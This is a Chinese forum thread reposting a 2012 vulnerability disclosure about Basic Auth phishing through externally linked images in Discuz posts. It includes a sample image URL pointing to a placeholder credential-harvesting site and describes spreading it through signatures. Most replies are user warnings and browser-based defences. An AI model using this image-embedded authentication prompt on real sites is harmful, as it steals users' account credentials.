盗号漏洞已经公开测试 外链图片可以盗号哦！
漏洞详情披露状态：
2012-11-25：        细节已通知厂商并且等待厂商处理中
2012-11-30：        厂商已经主动忽略漏洞，细节向公众公开
简要描述：利用的是盗号病毒网站的基础认证钓鱼，并成功钓到用户数据
详细说明：当在Discuz中回帖，插入一张很奇葩的图片时，可能就会导致用户被盗号。

复制内容到剪贴板

代码:

01.http://盗号病毒网站/authtest.php?id=Ayuk1y&info=Please+Login+In++@360.cn

例如上面那个地址，可以用图片来引用之，然后回帖，当用户看到这张图片的时候，就会触发提示登陆框。
用户浏览网页就会弹出小窗口 如下图所示：




当输入密码后，会重定向到收集数据的页面，接着，你们密码就被盗了。
我为什么认为这个是一个漏洞：

1、用户网站大多都是提醒用户不要再站外输入自己的账号密码，但是，
现在将代码插入到网站内部，用户有认为这是在网站内部，所以就输入了自己的密码。


2、经过试验，成功钓到了用户的数据


3、不仅仅是Discuz，需要网站都支持引用一张网络图片，并没有对图片的HTTP头进行检验。基础认证钓鱼很容易蔓延开来。。


4、之前的钓鱼过程是：黑客设立钓鱼页——通过短信息等传播这个地址——用户访问——用户受骗

而现在是：黑客在帖子中插入钓鱼信息——用户访问——用户受骗
显然，就少了一个非常繁琐的步骤。
例如，在一个论坛中，我将那个图片插在签名中，然后几乎每个帖子都去回复，
然后，用户基本上就是去到哪里都能看到我的框框。。。。然后后果你  你懂得。。。。。


解决办法如下：


这个是图片外链漏洞，浏览器向图片来源发出http get请求，如果对方返回http401就会弹出验证框，然后帐号密码返回给对方。所以，千万不要输入自己的用户名和密码  否则您的账号将会被盗取，只要关闭外链图片功能或者换成chrome、ff 即可，因为这种手段也就在ie和opera上有效。（解决办法由会员 moluo199010  提供）


附上本宫十级账号差点被盗的真实经历：
thread-4696028-1-1.html

本帖最近评分记录

• wangjie365 金币 +3 兄弟有心了。 2012-12-11 23:57

2012-11-30： 厂商已经主动忽略漏洞，细节向公众公开

不知道厂商忽略是处理没有处理！现在盗号太厉害了！防不胜防！让新手如何敢去回帖！敢去发帖！还真希望做出一些能有用的安保措施！

在问一句！使用火狐浏览器！广告屏蔽功能应该能防止这个盗号吗？望知道的技术人员回复

引用:

原帖由 撕扯 于 2012-12-12 07:34 发表
在问一句！使用火狐浏览器！广告屏蔽功能应该能防止这个盗号吗？望知道的技术人员回复

这个盗号手法是把盗号病毒的链接用 [img] 代码引用 插入在自己的签名图或者帖子图片里，其他用用户只要看到这张图片或者正在浏览有此图片的网页都会触发要求输入用户名和密码的弹窗，而不是您所说的发帖或者回复才会触发弹窗。可想而知这个问题的严重性哦！当输入用户名和密码后，会重定向到收集数据的页面，接着，密码就被盗了。因为代码插入到了网站内部，用户有认为这是在网站内部，所以就轻易的输入了自己的密码。moluo199010 说这个漏洞只会在ie和opera上有效才会有效  也许换个浏览器会减少被盗号的几率

还是不要轻易对那些弹窗的 输入自己的密码

引用:

原帖由 pengqipop 于 2012-12-12 09:57 发表
还是不要轻易对那些弹窗的 输入自己的密码

不是轻易不要  而是绝对不要
兄弟您还说我电脑本身中毒呢
如果不是本宫机灵  
本宫的账号早去发广告了

我不是这种方式被盗的，到目前为止都不知道为什么会被盗！！现在的木马 太厉害了

引用:

原帖由 撕扯 于 2012-12-12 07:34 发表
在问一句！使用火狐浏览器！广告屏蔽功能应该能防止这个盗号吗？望知道的技术人员回复

我用的就是火狐浏览器，前几天打开那个伪装成《一路向西》下载链接的帖子的时候，也是弹出一个对话框，要求输入用户名和密码，当时我立即关闭了，所以不能确定是否能盗到我的号，但看起来用火狐也不一定保险，被盗号的可能性还是存在的。
总之，各位会员只要注意一点，在论坛中每天只需登录一次即可，论坛肯定不会弹出对话框让你再输入用户名和密码。即使有的贴子所使用的IP地址不同，你打不开，论坛也会只是会提示你没权限浏览这个帖子，而肯定不会出现弹窗。
所以记住一点，遇到弹窗直接关闭，这样最保险！

我乖乖的听大大们的话，老实点，不贪便宜，绝对不会有事的
  

我就想问啦，到底论坛上头那些“动人”的广告可以点不拉？？？
  
有谁能解答解答，谢谢啦...

可以点  这代码需要设置屏蔽弹出。